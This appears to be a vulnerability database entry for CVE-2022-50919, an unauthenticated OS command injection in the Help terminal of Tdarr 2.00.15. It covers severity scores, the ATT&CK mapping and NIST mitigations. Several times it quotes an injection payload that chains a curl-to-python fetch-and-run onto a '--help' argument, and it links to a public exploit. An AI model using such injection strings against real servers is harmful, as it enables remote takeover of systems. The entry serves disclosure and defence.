CVE-2022-50919
Published: 13 January 2026
Summary
CVE-2022-50919 is a critical-severity OS Command Injection (CWE-78) vulnerability in Tdarr Tdarr. Its CVSS base score is 9.3 (Critical).
Operationally, exploitation aligns with the MITRE ATT&CK technique Exploit Public-Facing Application (T1190); ranked in the top 36.0% of CVEs by exploit likelihood; it is not currently listed in the CISA KEV catalog; a public proof-of-concept is referenced.
The strongest mitigations our analysis identified are NIST 800-53 AC-14 (Permitted Actions Without Identification or Authentication) and SI-10 (Information Input Validation).
Deeper analysis
CVE-2022-50919 is an unauthenticated remote code execution vulnerability affecting Tdarr version 2.00.15, specifically in its Help terminal. The flaw stems from a lack of input filtering, enabling command injection as classified under CWE-78. It carries a CVSS v3.1 base score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), indicating critical severity due to its network accessibility, low complexity, and lack of prerequisites.
Remote attackers require no authentication or privileges to exploit the vulnerability. By crafting inputs that chain arbitrary commands, such as `--help; curl .py | python`, adversaries can inject and execute remote code on the target system. Successful exploitation grants high-impact control over confidentiality, integrity, and availability.
Advisories and additional details, including potential patches or mitigation guidance, are available from the vendor at https://tdarr.io, an exploit proof-of-concept at https://www.exploit-db.com/exploits/50822, and a vulnerability analysis at https://www.vulncheck.com/advisories/tdarr-command-injection. Security practitioners should consult these resources for remediation steps.
OWASP Top 10 for Web (2025)
EU & UK References
- 🇪🇺 ENISA EUVD: EUVD-2026-2613
Vulnerability details
Tdarr 2.00.15 contains an unauthenticated remote code execution vulnerability in its Help terminal that allows attackers to inject and chain arbitrary commands. Attackers can exploit the lack of input filtering by chaining commands like `--help; curl .py | python` to…
more
execute remote code without authentication.
- CWE(s)
Related Threats
MITRE ATT&CK Enterprise TechniquesAI
Why these techniques?
Unauthenticated RCE via command injection in the public-facing Tdarr Help terminal directly enables T1190: Exploit Public-Facing Application.
CVEs Like This One
Affected Assets
Mitigating Controls
Mitigating Controls (NIST 800-53 r5) AI
Directly mitigates the lack of input filtering in Tdarr's Help terminal by requiring validation of all inputs to prevent command injection chains like `--help; curl .py | python`.
Requires timely identification, reporting, and correction of the specific unauthenticated RCE flaw due to inadequate input sanitization.
Limits permitted actions without authentication specifically for public interfaces like the Help terminal to prevent unauthenticated command execution.